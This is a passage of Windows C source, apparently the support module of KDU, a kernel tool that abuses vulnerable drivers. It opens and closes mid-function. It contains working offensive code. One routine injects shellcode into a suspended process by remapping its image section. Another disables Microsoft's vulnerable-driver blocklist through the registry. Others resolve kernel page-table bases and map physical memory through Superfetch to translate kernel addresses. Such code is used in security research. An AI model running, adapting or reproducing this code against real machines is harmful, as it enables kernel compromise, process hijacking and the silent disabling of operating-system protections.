bResult = Callback(deviceInfo, &deviceData, CallbackParam);
if (bResult) //found?
break;
}
SetupDiDestroyDeviceInfoList(deviceInfo);
return bResult;
}
/*
* supReplaceDllEntryPoint
*
* Purpose:
*
* Replace DLL entry point and optionally convert dll to exe.
*
*/
BOOL supReplaceDllEntryPoint(
_In_ PVOID DllImage,
_In_ ULONG SizeOfDllImage,
_In_ LPCSTR lpEntryPointName,
_In_ BOOL fConvertToExe
)
{
BOOL bResult = FALSE;
PIMAGE_NT_HEADERS NtHeaders;
DWORD DllVirtualSize;
PVOID DllBase, EntryPoint;
NtHeaders = RtlImageNtHeader(DllImage);
if (NtHeaders) {
DllVirtualSize = 0;
DllBase = PELoaderLoadImage(DllImage, &DllVirtualSize);
if (DllBase) {
//
// Get the new entrypoint.
//
EntryPoint = PELoaderGetProcAddress(DllBase, (PCHAR)lpEntryPointName);
if (EntryPoint) {
//
// Set new entrypoint and recalculate checksum.
//
NtHeaders->OptionalHeader.AddressOfEntryPoint =
(ULONG)((ULONG_PTR)EntryPoint - (ULONG_PTR)DllBase);
if (fConvertToExe)
NtHeaders->FileHeader.Characteristics &= ~IMAGE_FILE_DLL;
NtHeaders->OptionalHeader.CheckSum =
supCalculateCheckSumForMappedFile(DllImage, SizeOfDllImage);
bResult = TRUE;
}
VirtualFree(DllBase, 0, MEM_RELEASE);
}
}
return bResult;
}
/*
* supExtractFileFromDB
*
* Purpose:
*
* Extract requested file from resources.
*
*/
BOOL supExtractFileFromDB(
_In_ HMODULE ImageBase,
_In_ LPCWSTR FileName,
_In_ ULONG FileId
)
{
NTSTATUS ntStatus;
ULONG resourceSize = 0, writeBytes = 0;
PBYTE fileBuffer;
fileBuffer = (PBYTE)KDULoadResource(FileId,
ImageBase,
&resourceSize,
PROVIDER_RES_KEY,
TRUE);
if (fileBuffer == NULL) {
supPrintfEvent(kduEventError,
"[!] Requested data id cannot be found %lu\r\n", FileId);
return FALSE;
}
writeBytes = (ULONG)supWriteBufferToFile(FileName,
fileBuffer,
resourceSize,
TRUE,
FALSE,
&ntStatus);
supHeapFree(fileBuffer);
if (resourceSize != writeBytes) {
supShowHardError("[!] Unable to extract data", ntStatus);
return FALSE;
}
return TRUE;
}
/*
* supExtractFileToTemp
*
* Purpose:
*
* Save given file to local %temp%.
*
*/
VOID supExtractFileToTemp(
_In_opt_ HMODULE ImageBase,
_In_opt_ ULONG FileResourceId,
_In_ LPCWSTR lpTempPath,
_In_ LPCWSTR lpFileName,
_In_ BOOL fDelete)
{
WCHAR szFileName[MAX_PATH * 2];
RtlSecureZeroMemory(&szFileName, sizeof(szFileName));
StringCchPrintf(szFileName,
MAX_PATH * 2,
TEXT("%ws\\%ws"),
lpTempPath,
lpFileName);
if (fDelete) {
DeleteFile(szFileName);
}
else {
if (ImageBase) {
supExtractFileFromDB(ImageBase, szFileName, FileResourceId);
}
}
}
/*
* supDeleteFileWithWait
*
* Purpose:
*
* Removes file from disk.
*
*/
BOOL supDeleteFileWithWait(
_In_ ULONG WaitMilliseconds,
_In_ ULONG NumberOfAttempts,
_In_ LPCWSTR lpFileName
)
{
ULONG retryCount = NumberOfAttempts;
if (DeleteFile(lpFileName)) {
return TRUE;
}
do {
Sleep(WaitMilliseconds);
if (DeleteFile(lpFileName)) {
return TRUE;
}
retryCount--;
} while (retryCount);
return FALSE;
}
/*
* supMapFileAsImage
*
* Purpose:
*
* Create file mapping with SEC_IMAGE flag.
*
*/
PVOID supMapFileAsImage(
_In_ LPWSTR lpImagePath
)
{
HANDLE hFile, hMapping = NULL;
PVOID pvImageBase = NULL;
hFile = CreateFile(lpImagePath,
GENERIC_READ,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hFile != INVALID_HANDLE_VALUE) {
hMapping = CreateFileMapping(hFile,
NULL,
PAGE_READONLY | SEC_IMAGE,
0,
0,
NULL);
if (hMapping != NULL) {
pvImageBase = MapViewOfFile(hMapping,
FILE_MAP_READ, 0, 0, 0);
CloseHandle(hMapping);
}
CloseHandle(hFile);
}
return pvImageBase;
}
/*
* supGetEntryPointForMappedFile
*
* Purpose:
*
* Return adjusted entry point address within mapped file.
*
*/
PVOID supGetEntryPointForMappedFile(
_In_ PVOID ImageBase
)
{
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)ImageBase;
PIMAGE_FILE_HEADER fileHeader = (PIMAGE_FILE_HEADER)((PBYTE)dosHeader + sizeof(DWORD) + dosHeader->e_lfanew);
PIMAGE_OPTIONAL_HEADER32 oh32 = (PIMAGE_OPTIONAL_HEADER32)((PBYTE)fileHeader + sizeof(IMAGE_FILE_HEADER));
PIMAGE_OPTIONAL_HEADER64 oh64 = (PIMAGE_OPTIONAL_HEADER64)((PBYTE)fileHeader + sizeof(IMAGE_FILE_HEADER));
if (fileHeader->Machine == IMAGE_FILE_MACHINE_I386) {
#pragma warning(push)
#pragma warning(disable: 4312)
return RtlOffsetToPointer(oh32->ImageBase, oh32->AddressOfEntryPoint);
#pragma warning(pop)
}
else if (fileHeader->Machine == IMAGE_FILE_MACHINE_AMD64) {
return RtlOffsetToPointer(oh64->ImageBase, oh64->AddressOfEntryPoint);
}
else
return NULL;
}
/*
* supInjectPayload
*
* Purpose:
*
* Run payload shellcode at app entry point.
*
*/
NTSTATUS supInjectPayload(
_In_ PVOID pvTargetImage,
_In_ PVOID pbShellCode,
_In_ ULONG cbShellCode,
_In_ LPWSTR lpTargetModule,
_Out_ PHANDLE phZombieProcess
)
{
NTSTATUS ntStatus;
ULONG offset, returnLength = 0;
HANDLE sectionHandle = NULL;
PIMAGE_DOS_HEADER dosHeader;
PIMAGE_FILE_HEADER fileHeader;
PIMAGE_OPTIONAL_HEADER optHeader;
LPVOID pvImageBase = NULL, pvLocalBase;
SIZE_T viewSize, readBytes = 0;
LARGE_INTEGER secMaxSize;
PROCESS_BASIC_INFORMATION processBasicInfo;
PROCESS_INFORMATION processInfo;
STARTUPINFO startupInfo;
do {
*phZombieProcess = NULL;
RtlSecureZeroMemory(&startupInfo, sizeof(startupInfo));
startupInfo.cb = sizeof(startupInfo);
processInfo.hProcess = NULL;
processInfo.hThread = NULL;
dosHeader = (PIMAGE_DOS_HEADER)pvTargetImage;
fileHeader = (PIMAGE_FILE_HEADER)((PBYTE)dosHeader + sizeof(DWORD) + dosHeader->e_lfanew);
optHeader = (PIMAGE_OPTIONAL_HEADER)((PBYTE)fileHeader + sizeof(IMAGE_FILE_HEADER));
secMaxSize.QuadPart = optHeader->SizeOfImage;
if (fileHeader->Machine != IMAGE_FILE_MACHINE_I386 &&
fileHeader->Machine != IMAGE_FILE_MACHINE_AMD64)
{
ntStatus = STATUS_NOT_SUPPORTED;
break;
}
ntStatus = NtCreateSection(&sectionHandle,
SECTION_ALL_ACCESS,
NULL,
&secMaxSize,
PAGE_EXECUTE_READWRITE,
SEC_COMMIT,
NULL);
if (!NT_SUCCESS(ntStatus)) {
break;
}
SetLastError(0);
if (!CreateProcess(NULL,
lpTargetModule,
NULL,
NULL,
FALSE,
CREATE_SUSPENDED | NORMAL_PRIORITY_CLASS,
NULL,
NULL,
&startupInfo,
&processInfo))
{
ntStatus = STATUS_FATAL_APP_EXIT;
break;
}
ntStatus = NtQueryInformationProcess(processInfo.hProcess,
ProcessBasicInformation,
&processBasicInfo,
sizeof(PROCESS_BASIC_INFORMATION),
&returnLength);
if (!NT_SUCCESS(ntStatus)) {
break;
}
offset = FIELD_OFFSET(PEB, ImageBaseAddress);
if (!ReadProcessMemory(processInfo.hProcess,
RtlOffsetToPointer(processBasicInfo.PebBaseAddress, offset),
&pvImageBase,
sizeof(PVOID),
&readBytes))
{
ntStatus = STATUS_UNEXPECTED_IO_ERROR;
break;
}
viewSize = optHeader->SizeOfImage;
pvLocalBase = NULL;
ntStatus = NtMapViewOfSection(sectionHandle,
NtCurrentProcess(),
&pvLocalBase,
0,
optHeader->SizeOfImage,
NULL,
&viewSize,
ViewUnmap,
0,
PAGE_EXECUTE_READWRITE);
if (!NT_SUCCESS(ntStatus)) {
break;
}
if (!ReadProcessMemory(processInfo.hProcess,
pvImageBase,
pvLocalBase,
optHeader->SizeOfImage,
&readBytes))
{
ntStatus = STATUS_UNEXPECTED_IO_ERROR;
break;
}
ntStatus = NtUnmapViewOfSection(processInfo.hProcess, pvImageBase);
if (!NT_SUCCESS(ntStatus)) {
break;
}
viewSize = optHeader->SizeOfImage;
ntStatus = NtMapViewOfSection(sectionHandle,
processInfo.hProcess,
&pvImageBase,
0,
optHeader->SizeOfImage,
NULL,
&viewSize,
ViewShare,
0,
PAGE_EXECUTE_READWRITE);
if (!NT_SUCCESS(ntStatus)) {
break;
}
RtlCopyMemory(RtlOffsetToPointer(pvLocalBase, optHeader->AddressOfEntryPoint),
pbShellCode,
cbShellCode);
ResumeThread(processInfo.hThread);
*phZombieProcess = processInfo.hProcess;
} while (FALSE);
if (!NT_SUCCESS(ntStatus)) {
if (processInfo.hProcess != NULL)
CloseHandle(processInfo.hProcess);
}
if (sectionHandle != NULL)
NtClose(sectionHandle);
if (processInfo.hThread != NULL)
CloseHandle(processInfo.hThread);
return ntStatus;
}
/*
* supFilterDeviceIoControl
*
* Purpose:
*
* Call filter driver.
*
* Simplified fltlib!FilterpDeviceIoControl
*
*/
NTSTATUS supFilterDeviceIoControl(
_In_ HANDLE Handle,
_In_ ULONG IoControlCode,
_In_reads_bytes_(InBufferSize) PVOID InBuffer,
_In_ ULONG InBufferSize,
_Out_writes_bytes_to_opt_(OutBufferSize, *BytesReturned) PVOID OutBuffer,
_In_ ULONG OutBufferSize,
_Out_opt_ PULONG BytesReturned
)
{
NTSTATUS ntStatus;
if (BytesReturned)
*BytesReturned = 0;
IO_STATUS_BLOCK ioStatusBlock;
if (DEVICE_TYPE_FROM_CTL_CODE(IoControlCode) == FILE_DEVICE_FILE_SYSTEM) {
ntStatus = NtFsControlFile(Handle,
NULL,
NULL,
NULL,
&ioStatusBlock,
IoControlCode,
InBuffer,
InBufferSize,
OutBuffer,
OutBufferSize);
}
else {
ntStatus = NtDeviceIoControlFile(Handle,
NULL,
NULL,
NULL,
&ioStatusBlock,
IoControlCode,
InBuffer,
InBufferSize,
OutBuffer,
OutBufferSize);
}
if (ntStatus == STATUS_PENDING) {
ntStatus = NtWaitForSingleObject(Handle, FALSE, NULL);
if (NT_SUCCESS(ntStatus))
ntStatus = ioStatusBlock.Status;
}
if (BytesReturned)
*BytesReturned = (ULONG)ioStatusBlock.Information;
return ntStatus;
}
/*
* supQueryPhysicalMemoryLayout
*
* Purpose:
*
* Read physical memory layout from registry.
*
* Use supHeapFree to release allocated memory.
*
*/
PCM_RESOURCE_LIST supQueryPhysicalMemoryLayout(
VOID
)
{
LPCWSTR lpKey = L"HARDWARE\\RESOURCEMAP\\System Resources\\Physical Memory";
LPCWSTR lpValue = L".Translated";
HKEY hKey;
DWORD dwType = REG_RESOURCE_LIST, cbData = 0;
PCM_RESOURCE_LIST pList = NULL;
LRESULT result = RegOpenKeyEx(HKEY_LOCAL_MACHINE, lpKey, 0, KEY_READ, &hKey);
if (result == ERROR_SUCCESS) {
result = RegQueryValueEx(hKey, lpValue, 0, &dwType, NULL, &cbData);
if (result == ERROR_SUCCESS && dwType == REG_RESOURCE_LIST) {
pList = (PCM_RESOURCE_LIST)supHeapAlloc((SIZE_T)cbData);
if (pList) {
RegQueryValueEx(hKey, lpValue, 0, &dwType, (LPBYTE)pList, &cbData);
}
}
RegCloseKey(hKey);
}
return pList;
}
/*
* supEnumeratePhysicalMemory
*
* Purpose:
*
* Enumerate physical memory and run callback for each page.
*
*/
BOOL supEnumeratePhysicalMemory(
_In_ pfnPhysMemEnumCallback Callback,
_In_ PVOID UserContext
)
{
PCM_PARTIAL_RESOURCE_DESCRIPTOR pPartialDesc;
PCM_FULL_RESOURCE_DESCRIPTOR pDesc;
PCM_RESOURCE_LIST pList = supQueryPhysicalMemoryLayout();
if (pList == NULL) {
SetLastError(ERROR_NOT_ENOUGH_MEMORY);
return FALSE;
}
for (ULONG i = 0; i < pList->Count; i++) {
pDesc = &pList->List[i];
for (ULONG j = 0; j < pDesc->PartialResourceList.Count; j++) {
pPartialDesc = &pDesc->PartialResourceList.PartialDescriptors[j];
if (pPartialDesc->Type == CmResourceTypeMemory ||
pPartialDesc->Type == CmResourceTypeMemoryLarge)
{
ULONGLONG length = pPartialDesc->u.Memory.Length;
switch (pPartialDesc->Flags & CM_RESOURCE_MEMORY_LARGE)
{
case CM_RESOURCE_MEMORY_LARGE_40:
length <<= 8;
break;
case CM_RESOURCE_MEMORY_LARGE_48:
length <<= 16;
break;
case CM_RESOURCE_MEMORY_LARGE_64:
length <<= 32;
break;
}
ULONG_PTR endAddress, queryAddress;
ULONG x = 0;
queryAddress = pPartialDesc->u.Memory.Start.QuadPart;
endAddress = queryAddress + length;
supPrintfEvent(kduEventInformation,
"[+] Enumerating memory address range 0x%llX -> 0x%llX\r\n", queryAddress, endAddress);
do {
if (x == 0) {
printf_s("\r\tProbing memory at 0x%llX with size 0x%llX", queryAddress, PAGE_SIZE * 16);
x = 16;
}
if (Callback(queryAddress, UserContext)) {
break;
}
queryAddress += PAGE_SIZE;
--x;
} while (queryAddress < endAddress);
printf_s("\33[2K\r\tAddress range probed successfully\r\n");
}
}
}
supHeapFree(pList);
return TRUE;
}
/*
* supDetectMsftBlockList
*
* Purpose:
*
* Return state of CI variable enabling/disabling msft block list.
* Windows 11 22H2+ (build >= 22621): missing value = enabled (default).
* Older Windows 10: missing value treated as enabled only if HVCI active, otherwise disabled.
*
*/
BOOL supDetectMsftBlockList(
_In_ PBOOL Enabled,
_In_ BOOL Disable,
_In_ ULONG NtBuildNumber,
_In_ BOOL HvciActive
)
{
HKEY hKey;
DWORD dwEnabled, cbData, dwType;
LSTATUS r;
BOOL haveValue, isWin11, success;
isWin11 = (NtBuildNumber >= NT_WIN11_22H2);
if (Enabled)
*Enabled = isWin11 ? TRUE : (HvciActive ? TRUE : FALSE);
hKey = NULL;
haveValue = FALSE;
r = RegOpenKeyEx(HKEY_LOCAL_MACHINE,
L"System\\CurrentControlSet\\Control\\CI\\Config",
0,
Disable ? (KEY_QUERY_VALUE | KEY_SET_VALUE) : KEY_QUERY_VALUE,
&hKey);
if (r == ERROR_FILE_NOT_FOUND && Disable) {
r = RegCreateKeyEx(HKEY_LOCAL_MACHINE,
L"System\\CurrentControlSet\\Control\\CI\\Config",
0, NULL, REG_OPTION_NON_VOLATILE,
KEY_SET_VALUE | KEY_QUERY_VALUE,
NULL, &hKey, NULL);
}
if (r == ERROR_SUCCESS) {
cbData = sizeof(DWORD);
dwType = REG_DWORD;
dwEnabled = 0;
r = RegQueryValueEx(hKey,
L"VulnerableDriverBlocklistEnable",
0,
&dwType,
(LPBYTE)&dwEnabled,
&cbData);
if (r == ERROR_SUCCESS && dwType == REG_DWORD) {
haveValue = TRUE;
if (Enabled)
*Enabled = (dwEnabled > 0);
}
else if (r == ERROR_FILE_NOT_FOUND) {
r = ERROR_SUCCESS;
}
if (Disable && r == ERROR_SUCCESS) {
if (!haveValue || dwEnabled != 0) {
dwEnabled = 0;
cbData = sizeof(DWORD);
if (RegSetValueEx(hKey,
L"VulnerableDriverBlocklistEnable",
0,
REG_DWORD,
(LPBYTE)&dwEnabled,
cbData) != ERROR_SUCCESS)
{
r = GetLastError();
}
}
if (r == ERROR_SUCCESS && Enabled)
*Enabled = FALSE;
}
RegCloseKey(hKey);
}
else if (r == ERROR_FILE_NOT_FOUND) {
r = ERROR_SUCCESS;
}
if (r == ERROR_SUCCESS && !haveValue && !Disable && Enabled) {
if (isWin11)
*Enabled = TRUE;
else
*Enabled = HvciActive ? TRUE : FALSE;
}
success = (r == ERROR_SUCCESS);
SetLastError((DWORD)r);
return success;
}
/*
* supIsSupportedCpuVendor
*
* Purpose:
*
* Check if the current CPU vendor is match to supplied.
*
*/
BOOL supIsSupportedCpuVendor(
_In_ LPCSTR Vendor,
_In_ ULONG Length
)
{
CHAR vendorString[0x20];
RtlFillMemory(vendorString, sizeof(vendorString), 0);
GET_CPU_VENDOR_STRING(vendorString);
return (_strncmp_a(vendorString, Vendor, Length) == 0);
}
/*
* supResolveMiPteBaseAddress
*
* Purpose:
*
* Query MiPteBase address in kernel.
*
*/
ULONG_PTR supResolveMiPteBaseAddress(
_In_opt_ PVOID NtOsBase
)
{
BOOL bFree = FALSE;
ULONG offset = 0;
PBYTE ptrCode;
PVOID ntosBase = NtOsBase;
ULONG_PTR pteBaseAddress = 0, ntosLoadedBase, address = 0;
hde64s hs;
WCHAR szNtos[MAX_PATH * 2];
do {
StringCchPrintf(szNtos, RTL_NUMBER_OF(szNtos),
TEXT("%ws\\system32\\%ws"),
USER_SHARED_DATA->NtSystemRoot,
NTOSKRNL_EXE);
if (ntosBase == NULL) {
ntosBase = LoadLibraryEx(szNtos, NULL, DONT_RESOLVE_DLL_REFERENCES);
bFree = (ntosBase != NULL);
}
if (ntosBase == NULL)
break;
ntosLoadedBase = supGetNtOsBase();
if (ntosLoadedBase == 0)
break;
if (!symLoadImageSymbols(szNtos, (PVOID)ntosBase, 0))
break;
if (!symLookupAddressBySymbol("MiFillPteHierarchy", &address))
break;
ptrCode = (PBYTE)address;
RtlSecureZeroMemory(&hs, sizeof(hs));
do {
hde64_disasm(&ptrCode[offset], &hs);
if (hs.flags & F_ERROR)
break;
if (hs.len == 10) {
// mov r8, MiPteBase
if (*(PUSHORT)(ptrCode + offset) == 0xb849) {
ptrCode = ptrCode + offset + 2;
pteBaseAddress = ntosLoadedBase + ptrCode - (PBYTE)ntosBase;
break;
}
}
offset += hs.len;
} while (offset < 64);
} while (FALSE);
if (bFree) FreeLibrary((HMODULE)ntosBase);
return pteBaseAddress;
}
/*
* supCreatePteHierarchy
*
* Purpose:
*
* nt!MiCreatePteHierarchy rip-off.
*
*/
VOID supCreatePteHierarchy(
_In_ ULONG_PTR VirtualAddress,
_Inout_ MI_PTE_HIERARCHY* PteHierarchy,
_In_ ULONG_PTR MiPteBase
)
{
///
/// Resolve the PTE address.
///
VirtualAddress >>= 9;
VirtualAddress &= 0x7FFFFFFFF8;
VirtualAddress += MiPteBase;
PteHierarchy->PTE = VirtualAddress;
///
/// Resolve the PDE address.
///
VirtualAddress >>= 9;
VirtualAddress &= 0x7FFFFFFFF8;
VirtualAddress += MiPteBase;
PteHierarchy->PDE = VirtualAddress;
///
/// Resolve the PPE address.
///
VirtualAddress >>= 9;
VirtualAddress &= 0x7FFFFFFFF8;
VirtualAddress += MiPteBase;
PteHierarchy->PPE = VirtualAddress;
///
/// Resolve the PXE address.
///
VirtualAddress >>= 9;
VirtualAddress &= 0x7FFFFFFFF8;
VirtualAddress += MiPteBase;
PteHierarchy->PXE = VirtualAddress;
}
/*
* supShowHardError
*
* Purpose:
*
* Display hard error.
*
*/
VOID supShowHardError(
_In_ LPCSTR Message,
_In_ NTSTATUS HardErrorStatus
)
{
ULONG dwFlags;
HMODULE hModule = NULL;
WCHAR errorBuffer[1024];
if (HRESULT_FACILITY(HardErrorStatus) == FACILITY_WIN32) {
dwFlags = FORMAT_MESSAGE_IGNORE_INSERTS | FORMAT_MESSAGE_FROM_SYSTEM;
}
else {
dwFlags = FORMAT_MESSAGE_IGNORE_INSERTS | FORMAT_MESSAGE_FROM_HMODULE;
hModule = GetModuleHandle(RtlNtdllName);
}
RtlSecureZeroMemory(errorBuffer, sizeof(errorBuffer));
if (FormatMessage(dwFlags,
hModule,
HardErrorStatus,
0,
errorBuffer,
RTL_NUMBER_OF(errorBuffer),
NULL))
{
supPrintfEvent(kduEventError, "%s, NTSTATUS (0x%lX): %ws",
Message,
HardErrorStatus,
errorBuffer);
}
else {
supPrintfEvent(kduEventError, "%s, NTSTATUS (0x%lX)\r\n",
Message,
HardErrorStatus);
}
}
/*
* supShowWin32Error
*
* Purpose:
*
* Display win32 error.
*
*/
VOID supShowWin32Error(
_In_ LPCSTR Message,
_In_ DWORD Win32Error
)
{
ULONG dwFlags = FORMAT_MESSAGE_IGNORE_INSERTS | FORMAT_MESSAGE_FROM_SYSTEM;
WCHAR errorBuffer[1024];
RtlSecureZeroMemory(errorBuffer, sizeof(errorBuffer));
if (FormatMessage(dwFlags,
NULL,
Win32Error,
0,
errorBuffer,
RTL_NUMBER_OF(errorBuffer),
NULL))
{
supPrintfEvent(kduEventError, "%s, GetLastError %lu: %ws",
Message,
Win32Error,
errorBuffer);
}
else {
supPrintfEvent(kduEventError, "%s, GetLastError %lu\r\n",
Message,
Win32Error);
}
}
/*
* supIpcOnException
*
* Purpose:
*
* ALPC receive exception callback.
*
*/
VOID CALLBACK supIpcOnException(
_In_ ULONG ExceptionCode,
_In_opt_ PVOID UserContext
)
{
UNREFERENCED_PARAMETER(UserContext);
supPrintfEvent(kduEventError,
"[!] Exception 0x%lx thrown during IPC callback\r\n", ExceptionCode);
}
/*
* supIpcDuplicateHandleCallback
*
* Purpose:
*
* ALPC receive message callback for IPC_GET_HANDLE case.
*
*/
VOID CALLBACK supIpcDuplicateHandleCallback(
_In_ PCLIENT_ID ClientId,
_In_ PKDU_MSG Message,
_In_opt_ PVOID UserContext
)
{
KDU_CONTEXT* Context = (PKDU_CONTEXT)UserContext;
if (Context == NULL)
return;
__try {
if (Message->Function == IPC_GET_HANDLE &&
Message->Status == STATUS_SECRET_TOO_LONG)
{
HANDLE hProcess = NULL, hNewHandle = NULL;
OBJECT_ATTRIBUTES obja;
InitializeObjectAttributes(&obja, NULL, 0, NULL, NULL);
if (NT_SUCCESS(NtOpenProcess(&hProcess,
PROCESS_QUERY_INFORMATION | PROCESS_DUP_HANDLE | PROCESS_TERMINATE,
&obja,
ClientId)))
{
PVOID wow64Information = NULL;
ULONG returnLength;
BOOL validLength = FALSE;
if (NT_SUCCESS(NtQueryInformationProcess(hProcess,
ProcessWow64Information,
&wow64Information,
sizeof(wow64Information),
&returnLength)))
{
if (wow64Information == NULL)
validLength = (Message->ReturnedLength == sizeof(HANDLE));
else
validLength = (Message->ReturnedLength == sizeof(ULONG));
if (validLength) {
if (NT_SUCCESS(NtDuplicateObject(
hProcess,
(HANDLE)Message->Data,
NtCurrentProcess(),
&hNewHandle,
0,
0,
DUPLICATE_SAME_ACCESS)))
{
Context->DeviceHandle = hNewHandle;
}
}
}
NtTerminateProcess(hProcess, STATUS_TOO_MANY_SECRETS);
NtClose(hProcess);
}
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {
return;
}
}
/*
* supQuerySuperfetchInformation
*
* Purpose:
*
* Query Superfetch information.
*
*/
NTSTATUS supQuerySuperfetchInformation(
_In_ SUPERFETCH_INFORMATION_CLASS InfoClass,
_In_ PVOID Buffer,
_In_ ULONG Length,
_Out_opt_ PULONG ReturnLength)
{
NTSTATUS ntStatus;
ULONG returnedLength = 0;
SUPERFETCH_INFORMATION superfetchInfo;
RtlSecureZeroMemory(&superfetchInfo, sizeof(superfetchInfo));
superfetchInfo.Version = SUPERFETCH_VERSION;
superfetchInfo.Magic = SUPERFETCH_MAGIC;
superfetchInfo.InfoClass = InfoClass;
superfetchInfo.Data = Buffer;
superfetchInfo.Length = Length;
ntStatus = NtQuerySystemInformation(
SystemSuperfetchInformation,
&superfetchInfo,
sizeof(superfetchInfo),
&returnedLength);
if (ReturnLength)
*ReturnLength = returnedLength;
return ntStatus;
}
/*
* supQuerySuperfetchMemoryRanges
*
* Purpose:
*
* Query physical memory ranges via Superfetch.
* Automatically selects V1 or V2 based on OS version.
*
*/
BOOL supQuerySuperfetchMemoryRanges(
_Out_ PVOID* RangeBuffer,
_Out_ PULONG RangeCount)
{
NTSTATUS ntStatus;
ULONG bufferLength = 0;
ULONG ntBuildNumber;
PVOID buffer = NULL;
struct {
ULONG Version;
ULONG Flags;
ULONG RangeCount;
} rangeInfoV2;
struct {
ULONG Version;
ULONG RangeCount;
} rangeInfoV1;
*RangeBuffer = NULL;
*RangeCount = 0;
ntBuildNumber = NtCurrentPeb()->OSBuildNumber;
//
// Windows 10 1809 (17763) and later use V2
//
if (ntBuildNumber >= NT_WIN10_REDSTONE5) {
RtlSecureZeroMemory(&rangeInfoV2, sizeof(rangeInfoV2));
rangeInfoV2.Version = 2;
ntStatus = supQuerySuperfetchInformation(
SuperfetchMemoryRangesQuery,
&rangeInfoV2,
sizeof(rangeInfoV2),
&bufferLength);
if (ntStatus == STATUS_BUFFER_TOO_SMALL && bufferLength > 0) {
buffer = supHeapAlloc(bufferLength);
if (buffer == NULL)
return FALSE;
RtlSecureZeroMemory(buffer, bufferLength);
((PPF_MEMORY_RANGE_INFO_V2)buffer)->Version = 2;
ntStatus = supQuerySuperfetchInformation(
SuperfetchMemoryRangesQuery,
buffer,
bufferLength,
NULL);
if (NT_SUCCESS(ntStatus)) {
*RangeBuffer = buffer;
*RangeCount = ((PPF_MEMORY_RANGE_INFO_V2)buffer)->RangeCount;
return TRUE;
}
supHeapFree(buffer);
}
}
//
// Older Windows or V2 failed - try V1
//
RtlSecureZeroMemory(&rangeInfoV1, sizeof(rangeInfoV1));
rangeInfoV1.Version = 1;
bufferLength = 0;
ntStatus = supQuerySuperfetchInformation(
SuperfetchMemoryRangesQuery,
&rangeInfoV1,
sizeof(rangeInfoV1),
&bufferLength);
if (ntStatus == STATUS_BUFFER_TOO_SMALL && bufferLength > 0) {
buffer = supHeapAlloc(bufferLength);
if (buffer == NULL)
return FALSE;
RtlSecureZeroMemory(buffer, bufferLength);
((PPF_MEMORY_RANGE_INFO_V1)buffer)->Version = 1;
ntStatus = supQuerySuperfetchInformation(
SuperfetchMemoryRangesQuery,
buffer,
bufferLength,
NULL);
if (NT_SUCCESS(ntStatus)) {
*RangeBuffer = buffer;
*RangeCount = ((PPF_MEMORY_RANGE_INFO_V1)buffer)->RangeCount;
return TRUE;
}
supHeapFree(buffer);
}
return FALSE;
}
/*
* supBuildSuperfetchMemoryMap
*
* Purpose:
*
* Build virtual-to-physical translation table using Superfetch.
*
*/
BOOL supBuildSuperfetchMemoryMap(
_Out_ PSUPERFETCH_MEMORY_MAP MemoryMap)
{
NTSTATUS ntStatus;
ULONG ntBuildNumber;
ULONG rangeCount = 0;
ULONG i, failedRanges = 0;
SIZE_T j;
ULONG_PTR basePfn, pageCount;
ULONG pfnBufferSize;
ULONG_PTR totalPages = 0;
ULONG_PTR currentEntry = 0;
BOOL useV2;
PVOID rangeBuffer = NULL;
PPF_PFN_PRIO_REQUEST pfnRequest = NULL;
PSUPERFETCH_TRANSLATION_ENTRY translationTable = NULL;
RtlSecureZeroMemory(MemoryMap, sizeof(SUPERFETCH_MEMORY_MAP));
if (!supQuerySuperfetchMemoryRanges(&rangeBuffer, &rangeCount))
return FALSE;
ntBuildNumber = NtCurrentPeb()->OSBuildNumber;
useV2 = (ntBuildNumber >= NT_WIN10_REDSTONE5);
//
// Calculate total pages
//
for (i = 0; i < rangeCount; i++) {
if (useV2) {
pageCount = ((PPF_MEMORY_RANGE_INFO_V2)rangeBuffer)->Ranges[i].PageCount;
}
else {
pageCount = ((PPF_MEMORY_RANGE_INFO_V1)rangeBuffer)->Ranges[i].PageCount;
}
totalPages += pageCount;
}
if (totalPages == 0) {
supHeapFree(rangeBuffer);
return FALSE;
}
translationTable = (PSUPERFETCH_TRANSLATION_ENTRY)supHeapAlloc(
totalPages * sizeof(SUPERFETCH_TRANSLATION_ENTRY));
if (translationTable == NULL) {
supHeapFree(rangeBuffer);
return FALSE;
}
//
// Query PFN information for each range
//
for (i = 0; i < rangeCount; i++) {
if (useV2) {
basePfn = ((PPF_MEMORY_RANGE_INFO_V2)rangeBuffer)->Ranges[i].BasePfn;
pageCount = ((PPF_MEMORY_RANGE_INFO_V2)rangeBuffer)->Ranges[i].PageCount;
}
else {
basePfn = ((PPF_MEMORY_RANGE_INFO_V1)rangeBuffer)->Ranges[i].BasePfn;
pageCount = ((PPF_MEMORY_RANGE_INFO_V1)rangeBuffer)->Ranges[i].PageCount;
}
pfnBufferSize = (ULONG)(FIELD_OFFSET(PF_PFN_PRIO_REQUEST, PageData) +
(pageCount * sizeof(MMPFN_IDENTITY)));
pfnRequest = (PPF_PFN_PRIO_REQUEST)supHeapAlloc(pfnBufferSize);
if (pfnRequest == NULL) {
failedRanges++;
continue;
}
RtlSecureZeroMemory(pfnRequest, pfnBufferSize);
pfnRequest->Version = 1;
pfnRequest->RequestFlags = 1;
pfnRequest->PfnCount = pageCount;
for (j = 0; j < pageCount; j++) {
pfnRequest->PageData[j].PageFrameIndex = basePfn + j;
}
ntStatus = supQuerySuperfetchInformation(
SuperfetchPfnQuery,
pfnRequest,
pfnBufferSize,
NULL);
if (NT_SUCCESS(ntStatus)) {
for (j = 0; j < pageCount; j++) {
ULONG_PTR virtAddr = (ULONG_PTR)pfnRequest->PageData[j].u2.VirtualAddress;
if (virtAddr != 0 && (virtAddr & 0xFFFF800000000000ULL)) {
translationTable[currentEntry].VirtualAddress = virtAddr & ~(PAGE_SIZE - 1);
translationTable[currentEntry].PhysicalAddress = (basePfn + j) << PAGE_SHIFT;
currentEntry++;
}
}
}
else {
failedRanges++;
}
supHeapFree(pfnRequest);
}
supHeapFree(rangeBuffer);
if (currentEntry > 0) {
MemoryMap->TranslationTable = translationTable;
MemoryMap->TableSize = currentEntry;
MemoryMap->RangeCount = rangeCount;
if (failedRanges != 0) {
supPrintfEvent(kduEventError,
"[!] Superfetch memory map is partial, %lu range(s) could not be queried\r\n",
failedRanges);
}
return TRUE;
}
supHeapFree(translationTable);
return FALSE;
}
/*
* supFreeSuperfetchMemoryMap
*
* Purpose:
*
* Free Superfetch memory map resources.
*
*/
VOID supFreeSuperfetchMemoryMap(
_In_ PSUPERFETCH_MEMORY_MAP MemoryMap)
